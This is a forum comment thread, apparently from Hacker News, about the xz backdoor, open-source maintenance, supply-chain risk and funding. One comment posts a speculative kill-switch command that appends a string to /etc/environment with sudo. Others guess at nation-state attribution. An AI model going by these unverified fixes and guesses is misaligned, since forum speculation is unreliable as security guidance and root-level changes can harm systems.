Where I think he's wrong is that a careful code review _can_ indeed reduce the chances of this happening. If all contributions are reviewed thoroughly, regardless if they're authored by a trusted or external contributor, then strange behavior and commits that claim to do one thing but actually do something else, are more likely to be spotted earlier than later. While OM might lead to a greater community size and diversity, which I think is debatable considering how many projects exist with a thriving community of contributors while also having strict contribution guidelines, it doesn't address how or when a malicious patch would be caught. If nobody is in charge of reviewing code, there are no testing standards, and maintainers have additional work keeping some type of control over the project's direction, how does this actually protect against this situation?

The problem with xz wasn't a small community; it was *no* community. A single malicious actor got control of the project, and there was little oversight from anyone else. The project's contribution guidelines weren't a factor in its community size, and this would've happened whether it used OM or not.

[1] http://hintjens.com/blog:106

[2] http://hintjens.com/blog:106/comments/show#post-2409627

zeven7• 2 years ago

The problem with xz wasn't a small community; it was no community. A single malicious actor got control of the project, and there was little oversight from anyone else.

So because of this a lot of other highly used software was importing and depending on unreviewed code. It's scary to think how common this is. The attack surface seems unmanageable. There need to be tighter policies around what dependencies are included, ensuring that they meet some kind of standard.

yosito• 2 years ago

I wonder how good automated LLM-based code reviews would be at picking up suspicious patterns in pull requests.

chii5• 2 years ago

then strange behavior and commits that claim to do one thing but actually do something else, are more likely to be spotted earlier than later.

https://en.wikipedia.org/wiki/Underhanded_C_Contest

It's actually an art to writing code like that, but it's not impossible and will dodge cursory inspection. And it's possible to have plausible deniability in the way it is constructed.

fredamaral3• 2 years ago

dont you think that something as simple as a CLA (contributor legal agreement) would prevent this type of thing? of course creates noise in the open source contribution funnel, but let's be honest: if you are dedicating yourself to something like contributing to oss, signing a CLA should not be something unrealistic.

omeid22• 2 years ago

CLA is not an ID check. It is to handover the rights for the code over to the project owners rather than doing any identity check.

tw043• 2 years ago

What exactly is a CLA going to do to a CCP operative (as appears to be the case with xz)? Do you think the party is going to extradite one of their state sponsored hacking groups because they got caught trying to implement a backdoor?

Or do you think they don’t have the resources to fake an identity?

benreesman• 2 years ago

It never ceases to amaze me how great of lengths companies go to round securing the perimeter of the network but then have engineering staffs that just routinely brew install casks or vi/emacs/vscode/etc extensions.

Rust is arguably the programming language and/or community with the most secure set of defaults that are fairly impossible to get out of, but even at “you can’t play games with pointers” levels of security-first, the most common/endorsed path for installing it (that I do all the time because I’m a complete hypocrite) is:

https://www.rust-lang.org/tools/install

and that’s just one example, “yo dawg curl this shit and pipe it to sh so you can RCE while you bike shed someone’s unsafe block” is just muscle memory for way too many of us at this point.

godelski4• 2 years ago

yo dawg curl this shit and pipe it to sh so you can RCE while you bike shed someone’s unsafe block

Ahhh this takes me back to... a month ago...[0]

At least rust wraps function in main so you won't run a partial command, but still doesn't there aren't other dangers. I'm more surprised by how adamant people are about that there's no problem. You can see elsewhere in the thread that piping man still could (who knows!) pose a risk. Extra especially when you consider how trivial the fix is, especially when people are just copy pasting the command anyways...

It never ceases to amaze me how resistant people are to very easily solvable problems.

[0] https://news.ycombinator.com/item?id=39556047

anonymous-panda3• 2 years ago

It’s worse than that. Build.rs is in no way sandboxed which means you can inject all sorts of badness into downstream dependencies not to mention do things like steal crypto keys from developers. It’s really a sore spot for the Rust community (to be fair they’re not uniquely worse but that’s a fact poor standard to shoot for).

sensanaty• 2 years ago

I actually avoided installing Rust originally because I thought that install page was hijacked by an attacker or something.

Most languages don't have the prettiest install flows, but a random `curl | sh` is just lunacy if you're at all security conscious

kubb• 2 years ago

What’s the game?

SeriousM• 2 years ago

To be honest, it just was a matter of time till we find out our good faith beliefs are exploited. Behaviors like "break fast and fix eary" or "who wants to take my peojeklct ownership" just ask for trouble and yet it's unthinkable to live without them because open source is an unpaid labor of love to code. Sad to see such happening but I'm not surprised. I wish to get better tools (also open source) to combat such bad actors. Thanks to all the researchers out there who tries to protect us all.

DrTung• 2 years ago

If the RCE is Russian, it could be used a communication kill-switch on the morning of an attack outside Ukraine, similar to the Viasat hack https://en.m.wikipedia.org/wiki/Viasat_hack

KnightHawk32• 2 years ago

Why does it have to be russian? Could be any country, even USA, China. I don't see why this sort of attack is limited to Russia.

spxneo• 2 years ago

Exactly I don't understand the obsession with Russia

Literally just a country with people like you and me.

"Jia Tan" does not sound Russian

https://boehs.org/node/everything-i-know-about-the-xz-backdo...

timeon• 2 years ago

Why does it have to be russian? Could be any country, even USA, China.

Are you sure you are replying to right comment? Because they did not implied it was not other country or actor. It even directly starts with 'IF'.

circusfly3• 2 years ago

Could the backdoor have targeted Wireguard instead of ssh?

supposemaybe3• 2 years ago

Ssh is shell, whereas wireguard is a vpn.

You will still be vulnerable as you can connect to an ssh server through your wireguard tunnel.

circusfly3• 2 years ago

Well, yes, I can, but unlike ssh which is open to the world, my VPN is only open to me and the family. It seems like that greatly reduces the potential attack surface.

d-z-m3• 2 years ago

I don't think that's what OP is asking. I think OP is asking if wireguard functions could be hooked in the same way as sshd functions are in this exploit.

circusfly3• 2 years ago

Down voted for asking a valid question? Or is every reader of every HN post expected to be an in depth expert in every article posted every minute of every day of the year? What kind of asshole who has earned the right to down vote comments on HN would down vote a legitimate question?

d-z-m3• 2 years ago

My first instinct would be no, as wireguard runs in kernel space(if you're using kernel wireguard, not wireguard-go/some other userspace implementation),and couldn't link in liblzma, a userspace component.

lettergram3• 2 years ago

What I’d like to understand is it’s proven intentional?

My understanding is it was a few added characters in a header file. I can’t tell you the number of times I was tired and clicked an extra key before committing, or my cat walked across the keyboard while I was out of the room.

userbinator• 2 years ago

That level of sophistication is certainly intentional.

lettergram3• 2 years ago

That’s not an explanation about exactly how intention was derived.

I suppose I’m asking for the chain of events that led to the conclusion. I see lots of technical hot takes for how something could work, with no validation it does, nor intent behind it.

I’d like to understand what steps we know were taken and how that presents itself.

adtac4• 2 years ago

It was a few added characters in a header file to make it possible to deliver the actual payload: 80+ kilobytes of machine code. There's no way to actually tell, but I'd estimate the malware source code to be O(10000) lines in C.

It's actually pretty sophisticated. You don't accidentally write a in-memory ELF program header parser.

kortilla6• 2 years ago

You should read up on the attack. The few characters were part of avoiding a specific case of detection. The back door is very large, is only added during tar build, and happens to only work when a special key is presented.

brcmthrowaway• 2 years ago

So this is why Apple hates open source. Random anons committing to your project.

Bnichs• 2 years ago

I think their problem with open source is more that they can't have complete control and make every user's decision for them, security is just a nice tag along to that.

tambourine_man• 2 years ago

I’d like to know what we mortals – those that run Ubuntu LTS on VMs, for instance — need to do, if anything.

Valord• 2 years ago

Same!

somethingsaid• 2 years ago

Right now, nothing. The issue didn’t reach mainstream builds except nightly Red Hat and Fedora 41. The xz version affected has already been pulled and won’t be included in any future software versions.

pilgrim0• 2 years ago

I would, by routine, advise that publicly available boxes are configured to accept connections only from whitelisted sources, doing that at the lowest possible level on the stack. That’s usually how secure environments such as those used in PCI compliant topologies are specified.

geggo982• 2 years ago

My suggestion: Put your SSH behind WireGuard and/or behind a jump host (with only port forwarding allowed, no shell). If you don’t have a separate host, use a Docker container.

If you use a jump host, consider a different OS (e.g., BSD vs Linux). Remember this analogy with slices of Swiss cheese used during the pandemics? If one slice has a hole, the next slice hopefully won’t have a hole on the same position. The more slices you have, the better for you.

Although for remote management, you don’t want to have too many “slices” you have to manage and that can fail.

willtemperley2• 2 years ago

Another good reason to use a firewall with an IP address allowlist for SSH.

adtac4• 2 years ago

And now for my next trick: smuggling a backdoor into iptables.

willtemperley2• 2 years ago

Ha yes. I rely on cloud-provided security groups for that. So I blindly have to believe my provider is immune to supply chain attacks.

ngcc_hk• 2 years ago

Whilst we are in 3bp mode, what happen if a state actor want to harm open source … not to destroy it but to pollute it … as said you can check and test all. Legal … they do not care.

I wonder.

… We are all good vs even Buddha has evil nature mental model.

sgammon2• 2 years ago

There appears to be a string encoded in the binary payload:

https://gist.github.com/q3k/af3d93b6a1f399de28fe194add452d01...

Which functions as a killswitch:

https://piaille.fr/@zeno/112185928685603910

If that is indeed the case, one mitigation might be

```

echo "yolAbejyiejuvnup=Evjtgvsh5okmkAvj" | sudo tee -a /etc/environment

```

sgammon2• 2 years ago

Make absolutely sure to include `-a` so it doesn't nuke your env file, and generally speaking, one should upgrade to a version without the malicious code and restart, of course.

chii5• 2 years ago

without the malicious code and restart

i wonder if the malicious code would've installed a more permanent backdoor elsewhere that would remain after a restart.

I recall things like on windows where malware would replace your keyboard drivers or mouse drivers with their own ones that had the malware/virus, so that even if the original malware is removed, the system is never safe again. You'd have to wipe. And this is not even counting any firmware that might've been dropped.

dannyw3• 2 years ago

That's so strange. This reeks of nation state actors, wanting ways to protect their own systems.

ddalex2• 2 years ago

any competent malware dev would have a panic switch...

chii5• 2 years ago

if you need to test your own malware that you're developing, do you really want to just run it and disrupt your own system?

It's not uncommon to put in a check that allows the malware to run but be a noop.

halJordan2• 2 years ago

This is a good example of bad logic. It doesn't reek of anything except high quality work. You have an unacknowledged assumption that only nation state actors are capable of high quality work. I think that ultimately you want it to be nation state actors and therefore you see something that a nation state actor would do, so you backtrack that it is a nation state actor. So logically your confirmation bias leads you to affirm the consequent.

I only say this because I'm tired of seeing the brazen assertions of how this has to be nation state hackers. It is alluring to have identified a secret underlying common knowledge. Thats why flat-earthers believe theyve uncovered their secret, or chem trail believers have identified that secret, or vaxxers have uncovered the secret which underlies vaccines. But the proof just isn't there. Dont fall into the trap they fell into.

ivlad5• 2 years ago

Doesn’t certificate verification occur in PrevSep process? If so, this would only grant RCE with nobody’s privilege.

bandrami3• 2 years ago

This was so bizarre I had to check twice that it isn't actually April 1 (I'm in Asia so I get a lot of off-by-one-day stories from the US)

nprateem• 2 years ago

We basically need to analyse dependencies used in critical code paths (e.g. network attached services like sshd) and then start a process to add more rigorous controls around them. Some kind of enhanced scrutiny, certification and governance instead of relying on repos with individual maintainers and no meaningful code reviews, branch protection, etc.

And by we I mean at international/governmental level. Free software needs to stop being $free.

Society needs to start paying for the critical foundations upon which we all stand.

juliusdavies4• 2 years ago

Lucky the XZ license switched from "Public Domain" to 0BSD in February (just before these 5.6.0 and 5.6.1 releases)!

0BSD has no clauses, but it does have this:

IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.

perbu• 2 years ago

Gross negligence and willfull misconduct cannot be waved away like this, in certain legislations, at least.

juliusdavies4• 2 years ago

Yes, but hopefully it does protect Lasse Collin.

nicce4• 2 years ago

But Public Domain license already prevented that? At least in the most countries. But local laws goes above licenses anyway.

kzrdude• 2 years ago

It's weird now that "it's right there in the open",

Listed among the most recent commits there is "update two test files" https://git.tukaani.org/?p=xz.git;a=commitdiff;h=6e636819e8f...

And it's kind of smart to attack a compression library - you have plausible deniability for these opaque binary blobs - they are supposedly test cases, but in reality encode parts of the backdoor.

rubymamis6• 2 years ago

It baffles me how such an important package that so many Linux servers use every day is unmaintained by the original author due to insufficient funds. Something gotta change in OSS. I think one solution could be in licenses that force companies/business of certain sizes to pay maintenance fees. One idea from the top of my head.

nicce4• 2 years ago

I think one solution could be in licenses that force companies/business of certain sizes to pay maintenance fees. One idea from the top of my head.

Yet people have huge opposition for those licenses. The big scream of "not free anymore" starts and the entity gets cancelled.

rubymamis6• 2 years ago

I think focusing on big organizations (e.g. above certain revenue/profit should help).

There must be some sweet spot, after all, the organizations that rely on it should want it to be maintained as well.

matheusmoreira5• 2 years ago

Not really. Just make your software AGPLv3. It's literally the most free license GNU and the FSF have ever come up with. It ensures your freedom so hard the corporations cannot tolerate it. Now you have leverage. If the corporations want it so bad, they can have it. They just gotta ask for permission to use it under different terms. Then they gotta pay for it.

https://www.gnu.org/philosophy/selling-exceptions.html

All you have to do is not MIT or BSD license the software. When you do that, you're essentially transferring your intellectual property to the corporations at zero cost. Can't think of a bigger wealth transfer in history. From well meaning individual programmers and straight to the billionaires.

concordDance2• 2 years ago

It baffles me how such an important package that so many Linux servers use every day is unmaintained by the original author due to insufficient funds.

Is it actually insufficient funds or is it burnout?

rubymamis6• 2 years ago

I'm not sure. I know from working on OSS projects personally that insufficient funds can easily lead to burnout as well. You gotta find other sources of revenue while STILL maintaining your OSS project.

dingnuts• 2 years ago

same thing; if you have money you can hire people to spread the burden

junon10• 2 years ago

In the case of XZ it was more akin to burnout based on the literature around the time Jia Tan was instated.

anticristi• 2 years ago

The proposed EU Cyber resilience Act positions itself to be a solution. To put it simply, vendors are responsible for vulnerabilities throughout the lifetime of their products, whether that is a firewall or a toaster. Thus, the vendors are incentives to keep OSS secure, whether that means paying maintainers, commissioning code audits or hiring FTEs to contribute.

halJordan2• 2 years ago

There's a difference between important and necessary. The package is necessary not important.

grumpyprole• 2 years ago

It baffles me why something as complex as xz is apparently needed. The code for bzip2 is tiny and would need a small fraction of one person to maintain.

grepLeigh• 2 years ago

I'm assuming nation states and similar actors monitor mailing lists for phrases like "I'm feeling burnt out" or "not enough bandwidth, can you open a PR?"

According to the timeline here, trust was established in "only" a few years. https://boehs.org/node/everything-i-know-about-the-xz-backdo...

So I imagine major actors already have other assets in at-risk open source projects, either for the source code or distro patch/packaging level. Is that too tinfoil hat? I only know enough about secops to be dangerous to myself and everyone around me.

junon10• 2 years ago

Is that too tinfoil hat?

Not at all, no. This is probably happening way more than just this instance, unfortunately.

alsadi• 2 years ago

Untill the entire scope of this is identified I suggest activating the kill switch

https://bcksp.blogspot.com/2024/03/how-to-disable-xz-backdoo...

tonymet2• 2 years ago

Who was the author ?

tonymet2• 2 years ago

A subsequent investigation found that the backdoor was a culmination of approximately 3 years of effort by a user going by the name Jia Tan and the nickname JiaT75, who appears to have made a concentrated effort to gain access to a position of trust within the xz project, by putting pressure on the head maintainer to step down and hand over the control of the project.[3]

christo• 2 years ago

Does anyone know if a honeypot has been set up for this?

In the event that exploit code has already been deployed, while these exploit attempts should now thankfully be futile, is there any valuable information that can be gained about the network sources of these exploit attempts?

We might assume that since this attack was foiled, exploit attempts won't happen, but if this is an automated botnet project, there may already be other operational elements in the wild that are knocking?

It's possible that there is an infection detection component to the project which is already measuring baseline accessibility, possibly using this and several alternate vectors. After all, effort was made to evade exploit attempt detection which would enable valuable active monitoring since it shouldn't trigger suspicions.

twisteddiana• 2 years ago

Would be awesome if this was an April fool's day joke!

geenat• 2 years ago

Similar exploit vector in Swoole and exactly why it was forked for Open Swoole: https://old.reddit.com/r/PHP/comments/1b9acx3/article_intro_...

Binary blobs under the guise of "testing"- exploit targeting a dependent library.

Thankfully this only effects Swoole users, not all of PHP.

XZ backdoor: "It's RCE, not auth bypass, and gated/unreplayable."

Related Stories